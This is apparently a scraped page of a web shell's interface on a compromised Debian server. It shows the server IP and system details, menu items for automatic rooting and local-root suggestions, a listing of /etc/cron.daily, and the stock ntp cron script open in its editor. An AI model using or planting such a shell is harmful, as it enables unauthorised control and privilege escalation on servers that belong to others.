Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.173
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
etc /
cron.daily /
Delete
Unzip
Name
Size
Permission
Date
Action
.placeholder
102
B
-rw-r--r--
2015-05-03 15:25
00logwatch
268
B
-rwxr-xr-x
2017-01-21 17:29
0anacron
311
B
-rwxr-xr-x
2017-05-29 18:36
apache2
539
B
-rwxr-xr-x
2019-06-16 11:49
apt-compat
1.44
KB
-rwxr-xr-x
2017-06-01 10:50
backup-manager
111
B
-rwxr-x--x
2020-11-17 09:19
bsdmainutils
355
B
-rwxr-xr-x
2016-10-25 10:42
crowdsec
270
B
-rwxr-xr-x
2024-05-31 11:12
dpkg
1.56
KB
-rwxr-xr-x
2017-02-22 22:50
exim4-base
4.03
KB
-rwxr-xr-x
2018-02-10 09:26
locate
2.16
KB
-rwxr-xr-x
2014-04-13 16:12
logrotate
89
B
-rwxr-xr-x
2015-05-06 00:18
man-db
1.04
KB
-rwxr-xr-x
2016-12-13 14:09
mdadm
539
B
-rwxr-xr-x
2016-07-26 17:41
ntp
1.35
KB
-rwxr-xr-x
2018-02-15 12:45
passwd
249
B
-rwxr-xr-x
2017-05-17 13:59
quota
349
B
-rwxr-xr-x
2018-02-01 12:55
rkhunter
979
B
-rwxr-xr-x
2017-07-12 05:07
Save
Rename
#!/bin/sh # The default Debian ntp.conf enables logging of various statistics to # the /var/log/ntpstats directory. The daemon automatically changes # to a new datestamped set of files at midnight, so all we need to do # is delete old ones, and compress the ones we're keeping so disk # usage is controlled. statsdir=$(cat /etc/ntp.conf | grep -v '^#' | sed -nr 's/^statsdir[[:space:]]+([^[:space:]]+).*$/\1/p') if [ -n "$statsdir" ] && [ -d "$statsdir" ]; then # only keep a week's depth of these. Delete only files exactly # within the directory and do not descend into subdirectories # to avoid security risks on platforms where find is not using # fts-library. find "$statsdir" -maxdepth 1 -type f -mtime +7 -delete # compress whatever is left to save space but make sure to really # do it only in the expected directory. cd "$statsdir" || exit 1 ls -d -- *stats.???????? > /dev/null 2>&1 if [ $? -eq 0 ]; then # Note that gzip won't compress the file names that # are hard links to the live/current files, so this # compresses yesterday and previous, leaving the live # log alone. We supress the warnings gzip issues # about not compressing the linked file. gzip --best --quiet -- *stats.???????? return=$? case $return in 2) exit 0 # squash all warnings ;; *) exit $return # but let real errors through ;; esac fi fi